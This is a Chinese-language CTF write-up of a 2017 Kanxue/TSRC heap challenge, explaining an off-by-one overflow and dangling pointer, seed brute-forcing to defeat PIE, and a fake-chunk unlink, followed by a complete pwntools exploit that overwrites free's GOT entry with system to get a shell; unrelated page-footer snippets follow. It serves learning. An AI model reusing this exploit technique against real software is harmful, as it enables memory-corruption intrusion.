off-by-one&doublefree. 看雪10月ctf2017 TSRC 第四题赛后学习
off-by-one
0x00 发现漏洞
1.off-by-one

在massage函数中,如图所示,可以修改的字节数比原内存大小多了一个字节
2.悬挂指针
可以看到,在free堆块的时候,没有清空指针,造成悬挂指针
0x01漏洞利用
1.绕过PIE
在函数guess_box中让我们猜测随机数的值,随机数种子是seed的地址的后8位字节



由于随机数并不是真正的随机,随机数的产生是有规律的,在两个不同的环境下同样的种子每次产生的随机数都是相同的。由此我们可以进行爆破,从而得到seed的地址,进一步绕过PIE.
2.unlink
首先创建两个堆块,大小分别是0x108,0x120。当一个 chunk 处于使用状态时, 它的下一个 chunk 的 prev_size域肯定是无效的。所以实际上,这个空间也可以被当前 chunk 使用。 在这里的意思就是说0x108这个堆块占用了0x120堆块的prev_size域,继续往下就是0x120堆块的size域了,而我们此时恰好可以继续往下写一个字节,这个字节可以覆盖0x120 size域的NP值,我们只需要P值被改变就行。下图是创建两个堆块之后的堆内存状态。

然后我们修改第二块内存。
base = 程序基址
p64(0)+p64(0x101)+p64(base+0x0000000000202108-24)+p64(base+0x0000000000202108-16)+'a'*0xe0+p64(0x100)+'\x30'
为了绕过unlink检查,构造了一个伪造的chunk。现在堆内存如下图。

3.getshell
from pwn import *
import ctypes context.log_level = 'debug'
so = ctypes.CDLL('/lib/x86_64-linux-gnu/libc.so.6')
elf = ELF('./libc.so.6') t = process('./club')
# t = remote('123.206.22.95', 8888) def guess(num = 12345):
t.recvuntil('> ')
t.sendline('')
t.recvuntil('> ')
t.sendline(str(num))
t.recvuntil('Wr0ng answer!The number is ')
num = t.recvuntil('!')
return int(num[:-1]) def get_base(num):
t.recvuntil('> ')
t.sendline('')
t.recvuntil('> ')
t.sendline(str(num))
t.recvuntil('G00dj0b!You get a secret: ')
num = t.recvuntil('!')
return int(num[:-1]) def guess_seed(num):
for i in xrange(0x100000,0,-1):
i = i<<12
i += 0x148
so.srand(i)
j = 0
while j < 30:
j += 1
a = so.rand()
if a == num[j-1]:
continue
break
if j == 30:
return so.rand()
print 'aaa'
print i
return 0
def add(choose, size):
t.recvuntil('> ')
t.sendline("")
t.recvuntil('> ')
t.sendline(str(choose))
t.recvuntil('> ')
t.sendline(str(size)) def edit(choose, payload):
t.recvuntil('> ')
t.sendline("")
t.recvuntil('> ')
t.sendline(str(choose))
t.send(payload) def free(choose):
t.recvuntil('> ')
t.sendline("")
t.recvuntil('> ')
t.sendline(str(choose)) num_table = []
for i in range(30):
num_table.append(guess()) print num_table r = guess_seed(num_table) num = get_base(r)
base = num - 0x0000000000202148
print hex(base) add(1, 0x108)
add(2, 0x120) edit(1, p64(0)+p64(0x101)+p64(base+0x0000000000202108-24)+p64(base+0x0000000000202108-16)+'a'*0xe0+p64(0x100)+'\x30')
raw_input()
free(2) edit(1,p64(base + 0x0000000000202018)+p64(base + 0x0000000000202018) + p64(base + 0x0000000000202018) + p64(base + 0x0000000000202018)+'\n') print 'aaaaaaaaa' t.recvuntil('> ')
t.sendline("")
t.recvuntil('> ')
t.sendline("") a = t.recvline()[:-1]
a = a.ljust(8,'\x00')
free_a = u64(a)
print hex(free_a)
libc = free_a - elf.symbols['free']
system = libc + elf.symbols['system']
edit(1, p64(system)+'\n')
add(3, 0x138)
edit(3, '/bin/sh\x00\n') free(3)
t.interactive()
off-by-one&doublefree. 看雪10月ctf2017 TSRC 第四题赛后学习的更多相关文章
- 2019看雪CTF 晋级赛Q2第四题wp
上次参加2019看雪CTF 晋级赛Q2卡在了这道题上,虽然逆出算法,但是方程不会解,哈哈哈哈,果然数学知识很重要呀,现在记录一下. 首先根据关键信息,根据错误提示字符串定位到这里: 1 int __t ...
- SPSS 2019年10月17日 21:46:38 今日学习总结
数据库: 开放数据库链接是为了解决异构数据库间的数据共享而产生的,现已成为WOSA的主要部分和基于Windows环境的一种数据库访问接口标准ODBC为异构数据库访问提供一个接口,允许应用程序以SQL为 ...
- SPSS 2019年10月31日 20:20:53今日学习总结
◆描述性统计分析 概念:描述性统计分析方法是指应用分类.制表.图形及概括性数据指标(去均值,方差等)来概括数据分布特征的方法. 而推断性统计分析方法则是通过随机抽样,应用统计方法把从样本数据得到的结论 ...
- ECC加密算法入门介绍 --- 看雪
标 题:ECC加密算法入门介绍 作 者:zmworm 时 间:2003/05/04 08:32pm 链 接:http://bbs.pediy.com ECC加密算法入门介绍 作者 :ZMWorm[C ...
- [分享] 从定制Win7母盘到封装详细教程 By BILL ( 10月23日补充说明 )
[分享] 从定制Win7母盘到封装详细教程 By BILL ( 10月23日补充说明 ) billcheung 发表于 2011-10-23 00:07:49 https://www.itsk.com ...
- 10月12号 晚八点 Speed-BI 云平台-基于Excel数据源的管理驾驶舱构建全过程,腾讯课堂开课啦
认真地做了一大摞一大摞的报表,老板没时间看?努力把能反馈的内容都融汇进图表里,老板嫌复杂?做了几个简单的报表,老板一眼就觉得信息不全面?每个报表都用了各种各样的图表,老板却毫无兴趣?明明很努力了,为什 ...
- 评论 “App死亡潮:400万应用僵尸超八成,周期仅10月”
点这里 原文: App死亡潮:400万应用僵尸超八成,周期仅10月 时间 2015-04-05 22:48:19 和讯科技相似文章 (16)原文 http://tech.hexun.com/201 ...
- 【¥200代金券、iPad等您来拿】 阿里云9大产品免费公测#10月9日-11月6日#
#10.09-11.06#200元代金券.iPad大奖, 9大产品评测活动! 亲爱的阿里云小伙伴们: 云产品的多样性(更多的云产品)也是让用户深度使用云计算的关键.今年阿里云产品线越来越丰富,小云搜罗 ...
- 看雪论坛 破解exe 看雪CTF2017第一题分析-『CrackMe』-看雪安全论坛
韩梦飞沙 韩亚飞 313134555@qq.com yue31313 han_meng_fei_sha 逆向 黑客 破解 学习 论坛 『CrackMe』 http://bbs.pediy.co ...
随机推荐
- unity模型法线反转问题
fbx模型导入unity正常 但只要绑了骨骼,在3dmax中正常,进入unity就法线反转 原因是3dmax中模型用到复制和镜像的导出需要多一步处理 1重置变换 2反转法线 按顺序进行这两个,在绑定模 ...
- spoj3105 MOD - Power Modulo Inverted(exbsgs)
传送门 关于exbsgs是个什么东东可以去看看yyb大佬的博客->这里 //minamoto #include<iostream> #include<cstdio> #i ...
- 分布式通信-tcp/ip socket
Socket通讯的过程 Server端Listen(监听)某个端口是否有连接请求,Client端向Server 端发出Connect(连接)请求,Server端向Client端发回Accept(接受) ...
- 数据库 | 远程连接centos7上数据库
用root身份进入远程服务器控制台: 进入Mysql命令: # mysql -uroot -p 或者在本地上连接到远程主机上的MySQL: 假设远程主机的IP为:10.0.0.1,用户名为root,密 ...
- SOA思想
参考:https://www.cnblogs.com/renzhitian/p/6853289.html 是什么 SOA service-oriented architecture 面向服务的体系结构 ...
- MySQL 命令(一)
mysql 数据库:保存有组织的数据的容器.(通常是一个文件或一组文件) 表:某种特定类型数据的结构化清单.数据库中的每个表都有一个名字,用来标识自己,此名字是唯一的 列:表中的一个字段.所有表都是由 ...
- bzoj 1494 生成树计数
坑了好多天的题,终于补上了 首先发现 \(i\) 这个点和 \(i-k\) 之前的点没有边,所以 \(i-k\) 之前的点肯定联通,只要处理中间 \(k\) 个点的联通状态就好了.我们用最小表示法,\ ...
- p标签中的文本换行
参考文章 word-break:break-all和word-wrap:break-word的区别 CSS自动换行.强制不换行.强制断行.超出显示省略号 属性介绍 white-space: 如何处理元 ...
- 基于华为云语音通知 VoiceCall 的应用上线记录并分享.NET CORE DEMO
最近公司要上线语音通知功能,需求如下: 场景:发生报警时,自动通知到指定的手机号,同时,提供几个按键选项,例如,语音通知如下: “您好,XXX小区发生XXXX报警,按1确认报警,按2忽略报警,按3屏蔽 ...
- P1816 忠诚 倍增
链接:https://www.luogu.org/problem/show?pid=1816 题目描述 老管家是一个聪明能干的人.他为财主工作了整整10年,财主为了让自已账目更加清楚.要求管家每天记k ...